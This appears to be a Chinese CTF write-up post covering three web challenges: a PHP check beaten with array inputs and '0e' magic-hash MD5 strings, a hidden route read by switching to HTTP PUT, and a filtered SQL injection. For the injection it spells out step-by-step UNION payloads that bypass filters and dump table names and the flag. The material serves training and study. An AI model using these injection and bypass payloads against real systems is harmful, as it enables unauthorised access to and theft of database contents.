0X06

[NSSCTF 2022 Spring Recruit]babyphp

0X06_第1张图片

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
 

 a,b1,b2都可以用数组绕过,因为a是正则绕过,b是MD5绕过

c1,c2都要是字符串,c1c2的MD5值要相等 所以c就不能用数组绕过,可以用科学计数法0e绕过

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469

 payload

 a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

0X06_第2张图片

 [GDOUCTF 2023]EZ WEB

点击按钮得到

0X06_第3张图片

看源码得到一个路径

0X06_第4张图片

 访问得到一个脚本

0X06_第5张图片

 路由与处理 HTTP PUT 请求的函数相关联。当向此路由发出 PUT 请求时,该函数会尝试打开并读取名为 的文件的内容。然后,将文件的内容作为响应返回。这意味着当向此特定路由发出 PUT 请求时,应用程序会公开文件的内容。/super-secret-route-nobody-will-guessflag()'flag''flag'
HTTP的8种请求方式及常用请求方式的解析_http请求-CSDN博客

用bp改方式

0X06_第6张图片

[SWPUCTF 2021 新生赛]sql

直接使用 # 作为注释符是没有用的,但是将其 url 编码为 %23 就好使啦。
1.注意到空格被过滤了,这个可以用 /**/ 绕过
2. 等号被过滤了可以使用 like 绕过
3.最后是读取 flag 的时候回显的长度有限制,substr、reverse、right 什么的也被过滤,最后用的是 mid!

最后组合起来就可以了。

步骤

/?wllm=1

/?wllm=1' //这两个是判断类型,是字符型 单引号闭合

%23是#的url编码 ,达到注释的结果

/?wllm=1' group by 3%23 //这里会提示我们进行了非法操作,应该是过滤了空格

这里是过滤了空格,我们用/**/来绕过

/?wllm=1'/**/group/**/by/**/3%23

/?wllm=1'/**/group/**/by/**/4%23 //4报错了, 判断得回显列数为3

0X06_第7张图片

到这里是 判断出回显列数,我们还要知道位置

/?wllm=-1'/**/union/**/select/**/1,2,3%23

0X06_第8张图片

爆库名

/?wllm=-1'/**/union/**/select/**/1,2,database()%23

爆表名 但是过滤了=,用like来绕过

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

爆字段名

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23

0X06_第9张图片

查询flag

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

发现显示不全,我们使用substring连接

/?wllm=-1'/**/union/**/select/**/1,2,substring(group_concat(flag),1,30)/**/from/**/test_db.LTLT_flag%23

被过滤了,换mid试试 ,注意有三段, 注意:mid最大回显长度为20个字符

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23

最后注意要截取三组,往往会漏掉第三组

0X06_第10张图片

你可能感兴趣的:(前端,linux,算法,web安全)